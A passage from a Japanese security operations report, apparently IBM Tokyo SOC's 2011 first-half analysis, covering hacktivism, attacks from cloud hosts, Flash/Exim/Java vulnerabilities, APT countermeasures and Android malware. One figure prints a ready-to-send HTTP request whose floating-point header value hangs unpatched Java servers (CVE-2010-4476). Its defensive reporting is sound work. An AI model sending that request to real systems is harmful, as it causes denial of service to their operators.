月には Zippies と呼ばれるグループが、イギリス政府が制定し

た法案への抗議としての政府サイトへの DDoS 攻撃を行いま

した9。1998 年 6 月には、ハッカー集団 milw0rm がインド

の原子力研究機関のサイトを改ざんし、反核兵器のメッセージ

を掲載しました10。日本でも 2000 年 1 月に官庁のホームペ

ージが改ざんされる事件がありました11。この時は、中国や韓

国のハッカー集団が歴史問題への抗議のためにインターネッ

ト上で改ざん行為を呼びかけていたと言われています。 

最近では、イスラエルとパレスチナ自治区ガザの衝突12や尖閣諸島沖の漁船衝突事件13、Wikileaks を巡

った騒動の際にも大規模な攻撃が呼びかけられていました。 

現在、Anonymous や LulzSec が表明している「AntiSec」

およびその主張に同調するハッカー集団の手によって、不意にこ

のような攻撃の被害者となる確率は高くなっています。 

しかしながら、このような攻撃は必ずしも目新しい手段を用い

て行われる訳ではありません。用いられる攻撃手法自体は、イン

ターネットの公開環境で日々発生している攻撃と変わりないの

です。また、すでに対策が公開されている脆弱性の修正が為され

ていないような、比較的対策の甘いサイトを狙う傾向があります。 

 

突然行われる攻撃に対処するためには、私たちが自らの健康を維持するために健康診断や生活改善を行

うのと同じく、システムの脆弱性の洗い出しや対策の見直し、そして万が一攻撃を受けてしまった場合に

も被害を広げないための用意（機密情報の暗号化など）といった「日頃からの備え」が非常に重要です。

世間を騒がすような事件が起きた時に対策を見直すのではなく、日々の運用の中で洗い出される脆弱性に

対処していくことで攻撃者の対象となりにくくなります。また、もし攻撃が行われたとしても、慌てるこ

となく最小限の被害に食い止める対処ができるでしょう。 

                                                   
8 Anonymous は厳密には「ハッカー集団」を示す名称ではありませんが、本レポートでは Anonymous の呼びかけに応じてサイバー攻撃

を行う個人の集合を示す意図で、便宜的にこの名称を用いています。 
9 Wiki http://en.wikipedia.org/wiki/Intervasion_of_the_UK 

10 OUTLOOK India http://www.outlookindia.com/article.aspx?205741 

11 ITPro http://itpro.nikkeibp.co.jp/word/page/10005751 

12 ISC Diary http://isc.sans.org/diary.html?storyid=5620 

13 2010 年下半期Tokyo SOC 情報分析レポート https://www-304.ibm.com/connections/blogs/tokyo-soc/entry/tokyo_soc_report2010_h2 

図 17 2009 年ガザ衝突で改ざんされたサイト 

図 18 AntiSec によって改ざんされたサイト 
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4 クラウド・サービスの悪用 

クラウド・サービスの利便性は様々な場所で取り上げられており、クラウド・サービスの利用者は
急速に拡大しています。クラウド・サービスは、ユーザーに様々な利便性をもたらしますが、このサ
ービスを活用しようと考えているのは、企業や一般ユーザーだけではありません。クラウドを悪用し
ようと考えている攻撃者も存在しています。 

本章では、今期東京 SOC で確認したクラウド・サービスからの攻撃について解説します。 
 
 

44..11  ククララウウドド・・ササーービビススかかららのの攻攻

撃撃検検知知状状況況  

東京 SOC では、以前からクラウド・サービスを悪
用した攻撃を多数検知しています。図 19 は、2010
年 1 月から 2011 年 6 月までの期間に東京 SOC で検
知した Amazon EC2 を送信元とした攻撃検知数の推
移です。図の示すように大量の攻撃を検知しており、
2010 年には 5 千件以上の攻撃を観測しています。さ
らにこの攻撃は、2010 年以前の 2009 年にも同様の
攻撃が確認されています。 

このようなクラウド環境からの攻撃は、Amazon 
EC2 だけでなく、様々なサービス・ベンダーの環境か
ら行われています。 

図 20 は、Amazon EC2 を送信元とした攻撃の種類
を示しています。最も多く検知した攻撃は、"CMS へ
の攻撃"です。2 番目に多く検知したイベントは、SQL
インジェクション攻撃でした。これら 2 種類の、Web
アプリケーションを対象とした攻撃だけで総攻撃数の
約 8 割を占めています。 

さらに、クラウド・サービスはウイルスのホスティ
ング・サイトとして利用されることもあります。過去
には、Amazon EC2 に、Zeus と呼ばれるウイルスを中
央制御する C&C サーバーが設置されていた事例があり
ました14。 
                                                   
14 ＺｅｕS Tracker 

https://zeustracker.abuse.ch/monitor.php?host=myipaddress.com 

 
 
 
 
 
 
 
 
 
 
 
 

図 19 Amazon EC2 を送信元とする攻撃検知件数の推移 
（東京 SOC 調べ：2010 年 1 月 1 日～2011 年 6 月 30 日） 
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44..22  ククララウウドド・・ササーービビススかかららのの攻攻

撃撃のの傾傾向向  

本節では、前節で取り上げた Amazon EC2 を送信
元とする攻撃について分析した結果を紹介します。 

 
●CMS への攻撃 

CMS への攻撃は、通常ボットに感染した Web サー
バーから行われます。東京 SOC にて確認した攻撃に
ついて分析を行ったところ、全てがボット感染サーバ
ーから行われたものであることが分かりました。 

これは、2010 年 5 月頃からオープンソースの CMS
である e107 の脆弱性を悪用してボットを感染させる
攻撃がインターネット上で大規模に行われていた影響
によるものと考えられます15。この攻撃によって、ク
ラウド環境内に存在する多数の（e107 がインストー
ルされた）Web サーバーがボットに感染し、他の Web
サーバーを攻撃するようになっていたものと考えられ
ます。 

 

●SQL インジェクション攻撃 
Amazon EC 2 からの SQL インジェクション攻撃を

分析したところ、その全てがボットに感染した端末か
ら自動的に行われているブラインド SQL インジェク
ションを検知したものでした。 

 
●SPAM メール 

Amazon EC 2から送信されているSPAMメールは、
送信されるメールの内容から、ウイルスに感染しシス
テムが自動的に送信しているメールであることが分か
りました。 

 
●SSH,FTP ブルートフォース攻撃 

東京 SOC にて検知する多くのブルートフォース攻
撃は、攻撃者が乗っ取ったと考えられるシステムから
行われています。Amazon EC 2 からのブルートフォ
ース攻撃も同様に、攻撃者が乗っ取ったシステムを悪
用して行っているものと考えられます。 
                                                   
15 Tokyo SOC Report： CMS の脆弱性を悪用する攻撃

https://www.ibm.com/blogs/tokyo-soc/entry/cms_attack_20100

827 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

図 20 Amazon EC2 を送信元とする攻撃の種類別割合 
（東京 SOC 調べ：2010 年 1 月 1 日～2011 年 6 月 30 日）
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今回分析を行った攻撃の多くは、クラウド環境のサ
ーバーがボットやウイルスに感染したり、攻撃者によ
って乗っ取られたことで、攻撃に悪用されていました。
このようにサーバーを踏み台にして他のシステムを攻
撃しようとする傾向は、クラウド環境に限定して見ら
れる問題ではなく、実環境でも同様に行われています。
たまたま、脆弱なシステムが実環境ではなく、クラウ
ド上に存在したために悪用されていると言えます。 

 

44..33  ままととめめ  

クラウド・サービスの成長と共に、クラウド環境の
セキュリティーに注目が集まっています。本章で解説

したとおり、クラウド環境も実環境と同様の攻撃を受
けて、被害に遭っている事例が多数存在します。その
ため、クラウド環境でも実環境と同等のセキュリティ
ー対策が必要です。 

しかし、サービス・ベンダーによっては同等のセキ
ュリティー対策を設けることが難しい場合があるかも
知れません。クラウド・サービス選定にあたっては、
まず現行の実環境と同等のセキュリティー対策を行う
ことができるか否かを検討材料の1 つとすることをお
勧めします。
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5 今期確認された脆弱性のおさらい 

本章では、今期東京 SOC にて注目した脆弱性について説明します。特に Adobe Flash Player の脆
弱性、Exim の脆弱性、および JRE/JDK の脆弱性について攻撃事例をふまえながら解説し、対策を紹
介します。 

 
 

55..11  今今期期注注目目をを集集めめたた脆脆弱弱性性  

今期確認された脆弱性の中でも特に注目すべき脆弱
性として、修正パッチ公開前に攻撃が発生（ゼロデイ
攻撃）したもの、または脆弱性を実証するコードが公
開された脆弱性を表 5 にまとめました。 

今期は、Adobe Flash Player に 4 件ものゼロデイ
攻撃が発生し、多数の被害が発生しました。これらの
対象とする脆弱性の多く（CVE-2011-2110 以外の 3
つの脆弱性）が Adobe Reader および Acrobat に含
まれる Flash 再生機能にも共通する脆弱性であったた
め、Adobe Reader/ Acrobat への影響も問題になり
ました。Flash Player には前期（2010 年 6 月～12 月）
も 2 件 の ゼ ロ デ イ脆 弱 性 （CVE-2010-2883、
CVE-2010-3962）が確認され大きな被害をもたらし

ており、これらも同様に Adobe Reader にも影響を与
える脆弱性でした。 

CVE-2010-4476 に関しては、Java を利用している
Web サーバーなどに影響がある脆弱性であったため、多
数のアプリケーションでアップデートが公開されました。 

CVE-2010-3971 は、脆弱性が 2010 年 11 月 29 日
に公開され、パッチがリリースされるまで約2 カ月かか
ったため、限定的ではありますがゼロデイ攻撃に悪用さ
れました16。また、CVE-2010-3970 も脆弱性公開から
パッチがリリースされるまで約2 カ月かかっており、や
はり攻撃に悪用されたケースが報告されています17。 
                                                   
16 マイクロソフト セキュリティ アドバイザリ （2488013） 

http://www.microsoft.com/japan/technet/security/advisory/24

88013.mspx 

17 contagio 

http://contagiodump.blogspot.com/2011/02/cve-2010-3970-do

c-secretary-general.html 

 
 
 
 
 
 
 

表 5 今期話題となった脆弱性 
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その他に、Internet Explorer のパッチ（MS11-050）
公開 2 日後に、その脆弱性（CVE-2011-1255）を悪
用するドライブ・バイ・ダウンロード攻撃が発生する
事例が確認されています。 

また、2010 年 12 月に確認された Exim の脆弱性
（CVE-2010-4344）を悪用する攻撃を東京 SOC にて
複数確認しました。 

以 降 で は 、 Adobe Flash Player の 脆 弱 性
（CVE-2011-0609、CVE-2011-0611）、Exim の脆
弱性（CVE-2010-4344）、および JRE/JDK の脆弱性
（CVE-2010-4476）を悪用した攻撃について、東京
SOC で検知した実際の攻撃事例を踏まえながら解説
します。 

 

55..22  AAddoobbee  FFllaasshh  PPllaayyeerr のの脆脆弱弱性性

をを悪悪用用ししたた攻攻撃撃  

東京 SOC では、今期 Adobe Flash Player のゼロデ
イ脆弱性を悪用する攻撃を 2 回（CVE-2011-0609、
CVE-2011-0611）確認しました。これらはどちらも、
不正に細工された Flash ファイル（SWF ファイル）を
Flash Player で読み込んだ場合に、不正なコードが実
行される可能性があるという脆弱性です。 

前節で紹介したとおり、これらの脆弱性は Adobe 
Reader および Acrobat に含まれる Flash 再生機能
（Authplay.dll）にも影響があります。このように
Adobe Reader・Flash Player 双方に影響がある脆弱
性が確認された場合、これまでは PDF ファイル内に不

正な SWF オブジェクトを埋め込んで、Adobe Reader
の脆弱性を悪用する方法が一般的でした。今回の場合
も、このような不正な PDF ファイルを検知しています
が、その他の悪用方法も確認されています。 

以下では、今期確認したこれらの脆弱性への攻撃事
例を紹介します。 

 
 攻撃事例 

●CVE-2011-0611 
2011 年 4 月 19 日、本脆弱性を悪用する標的型メ

ール攻撃を確認しました。確認したメールは、表 1 に
ある震災に便乗した不正なメールです（添付ファイル
名:「（震災関連） 放射能漏れ、予防と対策基礎知
識.doc」）。このメールは、差出人アドレス（From）
をエネルギー問題に著名な方の実在のメールアドレス
に偽装し、国内の IP アドレスから送信されていました。 

メールに添付された Word ファイルには、Flash 
Player の脆弱性を悪用する SWF オブジェクトが埋め
込まれており（図 21）、この Word ファイルを閲覧す
ると、不正なコードが実行され、ウイルスに感染する
可能性があります。 

Microsoft Office 形式のファイルには、SWF などの
オブジェクトを埋め込んで表示する機能があります。
攻撃者は、その機能を悪用して Flash Player の脆弱性
と関係のないように思われる Word ファイルを用いて
この脆弱性を悪用しようとしていました。Word ファ
イル以外にも Excel ファイル内に不正な SWF オブジ
ェクトを埋め込む事例も確認されています。 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

図 21 Adobe Flash Player の脆弱性（CVE-2011-0611）悪用する Word ファイル 
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55..33  EExxiimm のの脆脆弱弱性性をを悪悪用用ししたた攻攻

撃撃  

オープンソースのメール転送エージェント（MTA）
である Exim の 4.70 より前のバージョンには脆弱性
（CVE-2010-4344）が確認されています。この脆弱
性は、2010 年 12 月に公開されたもので、不正に細工
されたメッセージ・ヘッダーを受信すると不正なコー
ドを実行してしまう可能があります。東京 SOC では、
2011 年 1 月中旬頃から局所的に Exim の脆弱性を悪
用しようとする攻撃が行われていることを検知してい
ました。 

東京 SOC で確認した攻撃は、この脆弱性を悪用し
てメールサーバーにボットを感染させようとする攻撃
です。図 22 は、攻撃パケットの一部です。 

 

この攻撃によって感染するボットは Perl で記述さ
れています（図 23）。このボットに感染すると、攻撃
者の命令を受信するために IRC で C&C サーバーに接
続します。ボットには、以下のような機能が存在しま
す。 

 
・ポートスキャン 
・DoS 攻撃 （TCP、UDP、HTTP など） 
・Google 検索を利用した脆弱サーバーのリストアップ 
・サーバーのプロセス（httpd や Exim）を終了させる 
・自身のプロセス名を httpd や Exim に変更する など 

 
攻撃者は、Exim が利用されているサーバーのみに

対象を限定して攻撃を行っていました。そのため、こ
の攻撃は局所的に観測されており、大規模な攻撃は確
認されませんでした。 

 
 
 
 
 
 
 
 
 
 
 
 

図 22 Exim の脆弱性を悪用しようとする攻撃通信 

 
 
 
 
 
 
 
 
 
 
 

図 23 Exim の脆弱性を悪用する攻撃で感染する Perl ボットの例 
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55..44  JJaavvaa をを利利用用ししてていいるる WWeebb ササ

ーーババーーををササーービビスス不不能能ににすす

るる攻攻撃撃  

2011 年 2 月 8 日、Oracle 社から JRE/JDK のサー
ビ ス 不 能 に つ な が る 恐 れ の あ る 脆 弱 性
（CVE-2010-4476）が公開されました。この脆弱性
は文字列を浮動小数点数に変換する処理に存在するも
ので、ある特定の文字列を処理しようとした際に、無
限ループあるいはプロセスダウンにつながる可能性が
あるというものです。なお、同様の脆弱性が 2010 年
12 月 30 日に PHP にも確認されています。 

JRE/JDK は、様々なシステムで利用されていること
から、JRE/JDK を利用している多数のシステムが影響
を受ける可能性がありました。例えば、IBM WebSp
here® Application Server には Javaが利用されてお
り、図 24 のような HTTP リクエストを受信するとサ
ービス不能に陥る可能性があります（2 月 10 日以降
順次、この Java の修正を含んだパッチをリリース済
み）18。 

東京 SOC では、この脆弱性を悪用する攻撃は確認
されていません。しかし、実際にこの脆弱性が悪用さ
れ、被害にあった事例が報告されています。 

 

55..55  ままととめめ  

本章で取り上げた脆弱性はすでに修正パッチや、脆
弱性を修正したバージョンがリリースされています。
脆弱性が未修正のシステムを使用している場合は、ア
ップデートを行うことを強く推奨します。 

5.1 にて解説したように、今期確認された Adobe 
Flash の脆弱性の多くが Adobe Reader および
Acrobat でも対象となるもので、Adobe Reader の全
バージョンに影響を与えるものでしたが、実際の攻撃
コードによって影響が確認されたのは、Adobe 
Reader 9 以下のバージョンに限られました。Adobe 
Reader 10 にはセキュリティーを強化するために
Sandbox 機能などが備えられており、そのために攻撃
が成功しなかったと考えられます。1 章でも解説した
ように Adobe Reader は、攻撃者の主要なターゲット
となっているので、Adobe Reader をご利用の場合は、
バージョン 10 にアップグレードすることをお勧めし
ます。 

なお、本章で取り上げた脆弱性を悪用しようとする
攻撃は、東京 SOC だけでなく、海外の SOC でも同様
に確認されていました。 
                                                   
18 IBM: 【重要情報】 JRE/JDK が特定の文字列の数値変換で

ハングすることによるサービス不能の脆弱性 （CVE-2010-4476） 

（PM32387）  

http://www-01.ibm.com/support/docview.wss?rs=0&uid=swg214

68197&wv=1 

 
 
 
 
 
 
 
 
 
 
 
 
 

 
図 24 JRE/JDK の脆弱性を悪用しようとする攻撃通信 

 GET /index. jsp HTTP/1.1
 Host: example.com
 Accept-Language: en-us;q=2.2250738585072012e-308
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6 Advanced Persistent Threat（APT）対策について 

2011 年 3 月、米 EMC 社のセキュリティー部門 RSA がサイバー攻撃を受け、同社のセキュリティ
ー製品に関わる情報が漏洩したことを発表しました19。同社は、この際にいわゆる Advanced 
Persistent Threat （APT） に分類される攻撃が行われたと主張しています。また、5 月には米ロッ
キード社に対して、同じく APT に分類される攻撃が行われたという報道が行われ20、ロッキード社も
それを認める声明を発表しました21。 

本章では、今期大きな話題となった"Advanced Persistent Threat"について一般的な内容を紹介し、
対策を提案します。 
                                                   
19 RSA http://www.rsa.com/node.aspx?id=3872 

20 REUTERS http://www.reuters.com/article/2011/05/26/us-lockheed-network-idUSTRE74P7U320110526 

21 Lockheed Martin http://www.lockheedmartin.com/news/press_releases/2011/0528hq-secuirty.html 

 
 
66..11  AAPPTT ととはは何何かか  

IT セキュリティーの分野で APT という言葉が活発
に用いられるようになったきっかけは、2010 年に公
表された米 Google 社などを対象とした一連のサイバ
ー攻撃"Operation Aurora"に関するMcAfee社の報告
22でした。しかし、APT という言葉はそれ以前から存
在しており、既に 2006 年には米空軍が利用していた
といわれています23。 

このように5 年以上前から使われている用語ですが、
その定義について広くコンセンサスが得られていると
は言い難い状況です。よく用いられる定義を大まかに
まとめると、攻撃の主体（Who）に基づいた定義と、
攻撃の内容（What）に基づいた定義に二分されます。

前者は、攻撃主体が国家組織であるものを APT と定義
します。一方、後者は言葉通り"高度で持続的"と解釈
される攻撃を APT としますが、この定義は定性的なの
で、話者によって対象とする範囲に差異が生じる場合
があります。本レポートでは、弊社のセキュリティー
研究組織である X-Force®の発表資料24に基づき、後者
の定義を用います。 
                                                   
22 McAffee http://siblog.mcafee.com/cto/operation-%E2%80%9

Caurora%E2%80%9D-hit-google-others/ 

23 TaoSecurity http://taosecurity.blogspot.com/2010/01/what

-is-apt-and-what-does-it-want.html 

24 Combating Advanced Persistent Threat and other Targete

d Attacks http://blogs.iss.net/archive/papers/1991%20Pulse%2

0IBM237_APT.pdf 

 
 
 
 
 
 
 

 
 

図 25 IBM X-Force による APT の説明

Advanced 
・報告前のゼロデイ脆弱性を悪用 
・ウイルス対策ソフトウェアに検知されないカスタマイズされたマルウェアを利用 
・複数の攻撃ベクトルを組み合わせた攻撃 
Persistent 
・数ヶ月～数年に及ぶ長期の攻撃 
・復旧（検出、排除など）の試みを阻害 
・対象への執拗な攻撃 
Threat 
・機密情報の漏洩を目的とした特定の個人および組織を対象とする攻撃 
・無差別攻撃ではない 
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66..22  AAPPTT のの具具体体的的なな内内容容とと課課題題  

図 26 は APT 攻撃の流れをまとめた模式図です。以
下で、各フェーズの内容を解説します。 

 
（1） 対象内部への侵入 

メールなどを悪用した標的型攻撃やドライブ・バ
イ・ダウンロード攻撃、あるいはリムーバブル・メデ
ィアを介した攻撃などによって対象組織に関連するシ
ステムにマルウェアを感染させる 

 
（2） 対象内部での浸透・拡散 

感染したマルウェアを、脆弱性を悪用するなどして
内部で拡散・浸透させ、対象組織内の最終目標への接
続性を確保する（リムーバブル・メディアを媒介する
などして、隔離ネットワークへの侵入を試みる場合も
ある） 

 
（3） 情報窃取・破壊（攻撃目的の達成） 

機密情報の窃取や重要システムの破壊など、攻撃の
最終目的を実行する 

目的が情報窃取の場合は、発見されるまで数ヶ月以
上の期間にわたって継続して情報窃取が行われる 

また、APT については、各フェーズで用いられる
個々の手法に起因して、以下のような課題が挙げられ
ます。 

 
（A） カスタマイズされたマルウェアやゼロデイ攻撃が用

いられた場合、シグネチャー・ベースのウイルス対策

ソフトウェアや、一般的な IPS による防御が難しい場

合がある 

 
（B） 攻撃にソーシャル・エンジニアリングが用いられた場

合、システム的な対策ではなく対象となる人間の意

識レベルでの対応が必要になる 

 
（C） 特に情報窃取などを目的とする場合、（2）（3）のフェ

ーズでは検知を回避するために潜伏する（ワームの

様に爆発的に拡散・浸透を試みない） 

 
（D） リムーバブル・メディアを介した隔離ネットワークへの

感染など、想定外のベクトルから攻撃を受ける場合

がある 

 
（E） 攻撃者のアクティビティが隠蔽され、影響が長期に

及ぶ場合がある 

 
 
 
 
 

 
 
 
 
 
 
 
 
 
 
 
 

図 26 典型的な APT の模式図
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66..33  AAPPTT 対対策策  

APT の各フェーズで用いられる個々の手段は目新
しいものではありません。標的型攻撃、リムーバブル・
メディアを介したマルウェア感染、ゼロデイ攻撃、攻
撃の隠蔽などといった手法はいずれも従来から用いら
れていたもので、特別な技術ではありません。 

しかしながら、前節で課題として挙げたとおり、現
時点ではこれらの手段を完全に遮断することが技術的
に困難であることもまた事実です。この困難を克服す
る容易なソリューションは存在しません。 

結局のところ、普遍的なセキュリティー対策を徹底
することで、APT の各攻撃フェーズにおける様々な攻
撃手段に対する耐性を高めることが APT に対する次
善策となります。 

本節では、その一例として以下の観点から組織のセ
キュリティー対策を再検討することを提案します。 

 
■ID＆アクセス管理 

- 最小権限に基づいたアクセスポリシーの徹底 
- アクセスポリシーのレビュー間隔の短縮 
- 多要素認証システムの導入 
 

■システムの隔離と情報の暗号化 

- 機密情報を扱うシステムをインターネットに接続
するシステムから隔離 

- 情報システムへの接続経路の洗い出しとそれを踏
まえた運用ポリシーの徹底（リムーバブルメディ
アの扱いなど） 

- 機密情報の暗号化ポリシーの徹底 
 

■従業員教育 

- ソーシャル・エンジニアリングを用いた攻撃手法
の共有（事例を紹介するなど） 

- コンプライアンス教育とは別途実施 
 

■ネットワーク監視（IDPS/Firewall/Proxy などの活用） 

- シェルコード検出や難読化検出など heuristic な
技術に基づいた攻撃検知 

- 不正プロトコルや意図しない暗号化通信の監視
（マルウェアの C&C 通信を検出） 

 
■システム監視（エンドポイント・ソリューションの導入） 

- ポリシー変更管理の徹底 
- バッファ・オーバーフロー検出 
- アプリケーション・ホワイトリストの適用 
 

■電子メール環境のセキュリティー・レベルの改善 

- S/MIME や PGP などの認証メカニズムの導入 
- 送信元を自組織に偽装したメールの外部からの着

信を遮断 
 
また、独立行政法人 情報処理推進機構（IPA）が

2010 年 10 月に公開した「新しいタイプの攻撃に関す
るレポート」25は、前節（1）（2）を「共通攻撃手法」、
（3）を「個別攻撃手法」として分析し、共通攻撃手
法への対策を具体的な機能要件の形にまとめているた
め、対策を検討する際に有用です。 

 

66..44  ままととめめ  

本章冒頭で記載したとおり、APT という用語の定義
は一様ではありません。特に本レポートで用いた"攻撃
の内容（What）に基づいた定義"は定性的で幅が広く、
実際のところ、個々の攻撃を APT とするか否かは話者
の意図に大きく依存します。 

このようにコンセンサスの得難い不明瞭な言葉であ
りながら、旬のマーケティング用語として広く用いら
れていることもまた APT の大きな問題であると言え
るかもしれません。 

攻撃の総体を捉える目的で APT という用語を用い
ることには意味があるかもしれませんが、具体的な対
策を検討する段で APT という言葉に踊らされる必要
はありません。組織内の各コンポーンネントに対して
従前から言われ続けているセキュリティー対策を適切
に実施し実直に運用することが、APT 対策となります。
                                                   
25 http://www.ipa.go.jp/about/technicalwatch/20101217.html 
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[Column2]スマートフォンを狙うマルウェア 

2011 年 3 月 1 日、Android マーケットにマルウェア（ウイルス名: DroidDream）が確認されました。

確認されたマルウェアは、Android マーケットに公開されていた正規のアプリケーションに不正なコード

を埋め込む形で作成されていました。この DroidDream は、Android の脆弱性を悪用して root 権限を奪

いバックドアを設置します。そして、コントロール（C&C）サーバーと通信を行いボットとして動作しま

す。 

これまで、Android をターゲットとするマルウェアは中国を中心とした、非正規のアプリケーション配

布サイトから拡散するものが中心でしたが、これ以降 Android マーケットでもマルウェアが配布される事

例が発生するようになりました。 

Android はアプリケーションをインストールする際、アプリケーションのアクセス許可の警告を表示し

ます。Android マーケットなどからマルウェアを手動でインストールする際も、同様に警告は表示されま

す。DroidDream に限らず、現在の Android マルウェアは、正規のアプリケーションに不正なコードを

埋め込む形で作成されているため、オリジナルのアプリケーションに比べると不正なコードを含むものは

要求されるアクセス許可の数が多いという特徴があります。 

表 6 は、今期確認されたマルウェアの要求するアクセス許可と、そのマルウェアの作成に利用されたオ

リジナルのアプリケーションが要求するアクセス許可を比べた検証結果です。これを見ると、要求される

アクセス許可の数が多い場合以外に、「料金の発生するサービス」や「個人情報」、「送受信したメッセージ」

へのアクセスを求めてくる場合にも、マルウェアの可能性を疑った方がよいようです。 

最近、Android マルウェア感染対策として、インストールしようとしているアプリケーションに必要の

なさそうなアクセス許可が要求されていないか確認するように様々な場所で言われています。しかし、表

6 を見て分かる通りオリジナルのアプリケーションと全く変わらないアクセス許可を求めてくるものも存

在します（DroidKungFu など）。また、アプリケーションによってはもともと多数のアクセス許可を必要

とする場合もあるでしょう。 

そのため、アクセス許可だけを頼りにしてマルウェアかどうかの判別をする対策は不十分です。マルウ

ェアの感染を防ぐには、PC と同様にスマートフォンでもウイルス対策ソフトを利用することをお勧めし

ます。最近では、ウイルス対策ベンダーや携帯電話キャリアから様々な無料のウイルス対策ソフトが公開

されています。現在は Android マーケットなどからユーザーが手動でインストールしなければウイルスに

感染することはありませんが、今後新たな方法で感染するマルウェアが現れるかもしれません。そのよう

な脅威が現れる前に、今のうちからウイルス対策ソフトの導入を検討してください。 

 

 

表 6 Android マルウェア亜種別アクセス許可一覧 
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おわりに 

2011年上半期に東京SOCで観測した標的型メール
攻撃のほとんどは、単一の組織に向けられたものでは
なく、特定の業種、あるいは職種（組織内の地位）の
グループを対象としているように見受けられました。
このような攻撃は、単一の対象に行われる標的型攻撃
と比較して準標的型攻撃と呼ばれる場合があります。 

本レポートで紹介した攻撃メールのサンプルにも見
られる傾向ですが、いわゆる準標的型のメール攻撃で
は、メールの文面も完全に対象に特化したものではな
く、対象とするグループに緩やかに関連するような内
容になり、また、文字コードが不適切であったり、体
裁がやや不自然であったりと、偽装の完成度も相対的
にあまり高くない傾向があります。 

これは、従来大量に観測されていた不正なメールや
SQL インジェクションなどを無差別に試行するよう
な攻撃が、攻撃にコストを要する比較的高度かつ限定
的な攻撃にシフトしてゆく過程で、その費用対効果が
バランスするポイントを表しているものだと考えるこ
とが出来ます。 

金銭的な動機に基づく攻撃者は、費用対効果を無視
して高度な攻撃を行うことはありません。つまり個々
の攻撃手法に対する完全な対策を適用できない場合で
あっても、二重三重の防御手段を講じることで攻撃の
難易度を上げることが出来れば、攻撃の影響を回避ま
たは低減できる可能性が高まります。 

対応が難しいのは、政治や宗教などの理念に基づい
たデモンストレーションを意図して突発的に行われる
ような攻撃や、コストパフォーマンスを無視して行わ
れる高度にカスタマイズされた攻撃です。しかし、こ
ういった類の攻撃に対しても、6 章で挙げている APT
の対策例のように、一定の費用、そして一部の利便性

とのトレードオフを受け入れることで、攻撃の成功率
を十分に下げることは可能です。 

現在の様に各種の対策困難な脅威が叫ばれている時
期にこそ、自社のビジネス継続のためにどの資産をど
こまで保護する必要があるのか、それにどれくらいの
コストを費やすべきなのか、攻撃者側と同じようにコ
ストパフォーマンスを念頭に置いた上で改めて見直し
てみることが重要です。 

 
IBM では、本レポートで紹介したような情報セキュ

リティーに対する脅威によってもたらされるリスクを
低減するための対策を、現実的な方法で実現する必要
があると考えています。そして、具体的なセキュリテ
ィー対策を検討支援、設計、導入から運用まで一貫し
て提供しています。 

マネージド・セキュリティー・サービスでは、ネッ
トワーク・レイヤーにおけるセキュリティー対策の運
用サイクルを効率的に進めるための「MPS Select」や、
さらに導入しやすい価格の「MPS Standard」など、
複数のサービス・ラインナップを揃えています。 

これらのサービスでは、IBM Security Network IPS
（旧名称：Proventia®）シリーズを利用して、専門の
技術者が 24 時間 365 日監視／運用／管理を行います。
情報セキュリティーに関するリスクを軽減させるため
の手段として利用をご検討いただければ幸いです。 

IBM は、社会的な基盤へと成長した情報システムを
守るため、高度化・多様化を続ける脅威に対して常に
"Ahead of the Threat"を実現する製品とサービスを
提供することで情報社会の発展を支援していきたいと
考えています。

 
 

【注意】本レポートで紹介した対策は、利用環境によって他のシステムへ影響を及ぼす恐れがあります。また、攻撃は日々変化しており、

必要となる対策もそれに応じて変化するため、記載内容の対策が、将来にわたって効果があるとは限りません。対策を行う際には十分

注意の上、自己責任で行ってください。なお、IBM はこれらの対策の効果を保証するものではありません。 



 

35 

2011 年上半期 Tokyo SOC 情報分析レポート 

執筆者 
大森 健史（エグゼクティブ・サマリー） 
梨和 久雄（６章、おわりに、全体構成） 
井上 博文（コラム 1） 
朝長 秀誠（1 章～5 章、コラム 2） 

 
 

 
 
 
 
 
 
 
 
 
 
 
 
2011 年８月 3 日 発行 
 
日本アイ・ビー・エム株式会社 
GTS 事業 ITS デリバリー 
マネージド・セキュリティー・サービス 
 
 
 
©Copyright IBM Japan, Ltd. 2011 
IBM、IBM ロゴ、ibm.com、Ahead of the Threat、Proventia および WebSphere は、世界の多

くの国で登録された International Business Machines Corporation の商標です。他の製品名および
サービス名等は、それぞれ IBM または各社の商標である場合があります。現時点での IBM の商標リス
トについては、www.ibm.com/legal/copytrade.shtml をご覧ください。 

Adobe は、Adobe Systems Incorporated の米国およびその他の国における登録商標または商標で
す。 

Microsoft および Windows は Microsoft Corporation の米国およびその他の国における商標です。 
Java およびすべての Java 関連の商標およびロゴは Oracle やその関連会社の米国およびその他の

国における商標または登録商標です。 
●このレポートの情報は 2011 年 8 月時点のものです。内容は事前の予告なしに変更する場合があ

ります。 


